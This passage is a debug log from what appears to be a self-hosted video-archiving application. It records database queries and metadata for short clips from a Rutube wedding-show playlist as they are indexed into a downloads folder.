m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:28.410 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=107.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 14:35:28.412 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 20, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110100 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", "id" => "41c570d8ff443920463854b43a5c82ed", "original_url" => "https://rutube.ru/video/41c570d8ff443920463854b43a5c82ed/", "playlist_index" => 7, "timestamp" => 1541079852, "title" => "Четыре свадьбы. Премьера. Вторник 19:00", "upload_date" => "20181101"} 14:35:28.414 [debug] QUERY OK source="sources" db=0.9ms idle=110.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:28.415 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:28.417 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=11.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-01 13:44:12Z], 1] 14:35:28.517 [debug] QUERY OK source="media_items" db=98.6ms idle=13.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "f843752b-7dc4-405c-ae69-ed4ee4261cf3", "41c570d8ff443920463854b43a5c82ed", 20, false, "https://rutube.ru/video/41c570d8ff443920463854b43a5c82ed/", 7, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110100 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-01 13:44:12Z], ~U[2025-12-09 11:35:28Z], ~U[2025-12-09 11:35:28Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "41c570d8ff443920463854b43a5c82ed", 20, false, "https://rutube.ru/video/41c570d8ff443920463854b43a5c82ed/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110100 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-01 13:44:12Z]] 14:35:28.531 [debug] QUERY OK source="sources" db=11.2ms decode=0.1ms queue=0.1ms idle=109.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:28.533 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.2ms idle=117.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:28.536 [debug] QUERY OK source="media_items" db=2.1ms idle=118.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 14:35:28.538 [debug] Current batch of media processed. Will check again in 1000ms 14:35:29.539 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e061700 - Ррраз - и в ЗАГС!.mp4", "id" => "566b3e239c137b6ed018fe67f01d3f82", "original_url" => "https://rutube.ru/video/566b3e239c137b6ed018fe67f01d3f82/", "playlist_index" => 8, "timestamp" => 1560789040, "title" => "Ррраз - и в ЗАГС!", "upload_date" => "20190617"} 14:35:29.541 [debug] QUERY OK source="sources" db=1.3ms idle=1023.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:29.543 [debug] QUERY OK source="sources" db=1.1ms idle=1011.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:29.544 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1010.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-17 16:30:40Z], 1] 14:35:29.679 [debug] QUERY OK source="media_items" db=134.0ms idle=1008.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ррраз - и в ЗАГС!", "76a9b6d5-0da4-4b8d-b011-a40a41866ebd", "566b3e239c137b6ed018fe67f01d3f82", 30, false, "https://rutube.ru/video/566b3e239c137b6ed018fe67f01d3f82/", 8, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e061700 - Ррраз - и в ЗАГС!.mp4", false, false, false, 1, [], 1, ~U[2019-06-17 16:30:40Z], ~U[2025-12-09 11:35:29Z], ~U[2025-12-09 11:35:29Z], "", "Ррраз - и в ЗАГС!", "566b3e239c137b6ed018fe67f01d3f82", 30, false, "https://rutube.ru/video/566b3e239c137b6ed018fe67f01d3f82/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e061700 - Ррраз - и в ЗАГС!.mp4", false, 1, ~U[2019-06-17 16:30:40Z]] 14:35:29.681 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=596.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:29.682 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=140.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:29.683 [debug] QUERY OK source="media_items" db=0.3ms idle=139.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 14:35:29.683 [debug] Current batch of media processed. Will check again in 1000ms 14:35:30.684 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e060300 - Чья свадьба круче всех?.mp4", "id" => "5b358d18a6c117222b72f8aa46a1b8e1", "original_url" => "https://rutube.ru/video/5b358d18a6c117222b72f8aa46a1b8e1/", "playlist_index" => 9, "timestamp" => 1559571708, "title" => "Чья свадьба круче всех?", "upload_date" => "20190603"} 14:35:30.685 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:30.686 [debug] QUERY OK source="sources" db=0.2ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:30.687 [debug] QUERY OK source="media_items" db=0.9ms idle=1004.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-03 14:21:48Z], 1] 14:35:30.825 [debug] QUERY OK source="media_items" db=136.7ms idle=1005.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Чья свадьба круче всех?", "5e992d8c-f68d-4328-9c29-15bf14c16259", "5b358d18a6c117222b72f8aa46a1b8e1", 30, false, "https://rutube.ru/video/5b358d18a6c117222b72f8aa46a1b8e1/", 9, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e060300 - Чья свадьба круче всех?.mp4", false, false, false, 1, [], 1, ~U[2019-06-03 14:21:48Z], ~U[2025-12-09 11:35:30Z], ~U[2025-12-09 11:35:30Z], "", "Чья свадьба круче всех?", "5b358d18a6c117222b72f8aa46a1b8e1", 30, false, "https://rutube.ru/video/5b358d18a6c117222b72f8aa46a1b8e1/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e060300 - Чья свадьба круче всех?.mp4", false, 1, ~U[2019-06-03 14:21:48Z]] 14:35:30.839 [debug] QUERY OK source="sources" db=13.4ms queue=0.1ms idle=740.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:30.840 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=154.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:30.844 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=155.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18] 14:35:30.845 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 30, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e081500 - Кто победит в войне невест?.mp4", "id" => "649c46312e2af876af5954395d382146", "original_url" => "https://rutube.ru/video/649c46312e2af876af5954395d382146/", "playlist_index" => 10, "timestamp" => 1565891030, "title" => "Кто победит в войне невест?", "upload_date" => "20190815"} 14:35:30.846 [debug] QUERY OK source="sources" db=0.6ms idle=158.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:30.848 [debug] QUERY OK source="sources" db=0.9ms idle=22.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:30.849 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=9.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-15 17:43:50Z], 1] 14:35:31.078 [debug] QUERY OK source="media_items" db=227.4ms queue=0.1ms idle=9.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Кто победит в войне невест?", "05d1e2ce-4c89-4578-94dc-3cf4e97f2940", "649c46312e2af876af5954395d382146", 30, false, "https://rutube.ru/video/649c46312e2af876af5954395d382146/", 10, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e081500 - Кто победит в войне невест?.mp4", false, false, false, 1, [], 1, ~U[2019-08-15 17:43:50Z], ~U[2025-12-09 11:35:30Z], ~U[2025-12-09 11:35:30Z], "", "Кто победит в войне невест?", "649c46312e2af876af5954395d382146", 30, false, "https://rutube.ru/video/649c46312e2af876af5954395d382146/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e081500 - Кто победит в войне невест?.mp4", false, 1, ~U[2019-08-15 17:43:50Z]] 14:35:31.103 [debug] QUERY OK source="sources" db=24.3ms queue=0.2ms idle=233.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.106 [debug] QUERY OK source="media_profiles" db=3.3ms queue=0.1ms idle=255.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:31.111 [debug] QUERY OK source="media_items" db=1.7ms idle=259.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 14:35:31.112 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 15, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - Конкурс с ящиком.mp4", "id" => "737617aa91853fc5bf89c06b3c725a3a", "original_url" => "https://rutube.ru/video/737617aa91853fc5bf89c06b3c725a3a/", "playlist_index" => 11, "timestamp" => 1562164886, "title" => "Конкурс с ящиком", "upload_date" => "20190703"} 14:35:31.115 [debug] QUERY OK source="sources" db=2.2ms queue=0.2ms idle=34.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:31.118 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.123 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=14.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-03 14:41:26Z], 1] 14:35:31.261 [debug] QUERY OK source="media_items" db=136.0ms queue=0.1ms idle=14.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Конкурс с ящиком", "dc57cbcf-90f0-457c-8d14-55ac5c7e8017", "737617aa91853fc5bf89c06b3c725a3a", 15, false, 